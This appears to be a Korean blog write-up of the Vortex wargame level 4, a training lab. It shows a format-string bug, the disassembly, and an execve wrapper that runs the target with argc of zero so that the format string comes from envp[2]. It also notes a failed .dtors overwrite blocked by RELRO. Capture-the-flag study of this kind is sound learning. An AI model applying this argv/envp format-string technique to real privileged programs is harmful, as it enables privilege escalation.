vortex4
Vortex Level 4 → Level 5
To exec or not to exec
This is the common format string bug, exploit it with care though as a check is made with argc. What is the layout of a process’s memory? How are programs executed?
Reading Material
// -- andrewg, original author was zen-parse :)
#include <stdlib.h>
int main(int argc, char **argv)
{
if(argc) exit(0);
printf(argv[3]);
exit(EXIT_FAILURE);
}
소스는 간단하다.
취약점도 간단히 보인다. FSB
하지만 argc가 0이여야된다.
argv[3]에는 인자는 줘야하고, argc는 0이여야 한다...
일단 argc가 0이라고 해서 execve로 인자를 NULL로 주면 if문은 우회가 가능하다. 근데 argv[3]에 인자를 줄수없다면 FSB는 불가능 하다.
이를 어떻게 해결해야 하나 고민하던 도중, gdb로 재미있는것을 발견하였다.
0x08048414 <+0>: push ebp
0x08048415 <+1>: mov ebp,esp
0x08048417 <+3>: and esp,0xfffffff0
0x0804841a <+6>: sub esp,0x10
0x0804841d <+9>: cmp DWORD PTR [ebp+0x8],0x0
0x08048421 <+13>: je 0x804842f <main+27>
0x08048423 <+15>: mov DWORD PTR [esp],0x0
0x0804842a <+22>: call 0x8048340 <exit@plt>
0x0804842f <+27>: mov eax,DWORD PTR [ebp+0xc]
0x08048432 <+30>: add eax,0xc
0x08048435 <+33>: mov eax,DWORD PTR [eax]
0x08048437 <+35>: mov DWORD PTR [esp],eax
0x0804843a <+38>: call 0x8048320 <printf@plt>
0x0804843f <+43>: mov DWORD PTR [esp],0x0
0x08048446 <+50>: call 0x8048340 <exit@plt>
바로 argv[3]의 인자 참조 방식인데, 이중포인터인만큼 argv의 값에 12를 더하는 식으로 인자를 참조한다.
이때 argv다음에는 바로 envp가 뒤따라 나온다. 예를들어,
argv[0] |
argv[1] |
NULL |
envp[0] |
envp[0] |
이런식으로 나온다.
근데 지금 argc가 0이여야 되니,
NULL |
envp[0] |
envp[1] |
envp[2] |
envp[3] |
이런식으로 되는데, 어셈으로 보면 그냥 무조건 *(argv+12)의 값을 뽑아내니까 현재 위의 그림으로는 envp[2]의 값을 참조한다. 그러면 우리는 envp[2]에 우리가 원하는 값을 주면 된다.
그래서 다음과 같이 소스를 짜보았다.
vortex4@melinda:/tmp/sanguine2$ cat execve_vortex4.c
#include <stdio.h>
int main(int argc,char *argv[]){
char *envps[]={"0","0",argv[1]};
execve("/games/vortex/vortex4",NULL,envps);
}
vortex4@melinda:/tmp/sanguine2$ ./execve_vortex4 aaaa
aaaavortex4@melinda:/tmp/sanguine2$
[+]의문점
위에서 보면 0x08049f1f는 dtors영역으로써, readelf로 보면 읽기쓰기가 가능한 영역이였다.
vortex4@melinda:/tmp/sanguine2$ readelf -l vortex4
Elf file type is EXEC (Executable file)
Entry point 0x8048360
There are 9 program headers, starting at offset 52
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
INTERP 0x000154 0x08048154 0x08048154 0x00013 0x00013 R 0x1
[Requesting program interpreter: /lib/ld-linux.so.2]
LOAD 0x000000 0x08048000 0x08048000 0x00614 0x00614 R E 0x1000
LOAD 0x000f14 0x08049f14 0x08049f14 0x00104 0x0010c RW 0x1000
DYNAMIC 0x000f28 0x08049f28 0x08049f28 0x000c8 0x000c8 RW 0x4
NOTE 0x000168 0x08048168 0x08048168 0x00044 0x00044 R 0x4
GNU_EH_FRAME 0x000520 0x08048520 0x08048520 0x00034 0x00034 R 0x4
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
GNU_RELRO 0x000f14 0x08049f14 0x08049f14 0x000ec 0x000ec R 0x1
근데 값이 써지질 않아서 오류가 발생했다.
이유가 먼지 찾아보니
GNU_RELRO 0x000f14 0x08049f14 0x08049f14 0x000ec 0x000ec R 0x1
이 부분에 의해서 다시 read only로 바뀐다.
다음을 참고해라
https://isisblogs.poly.edu/2011/06/01/relro-relocation-read-only/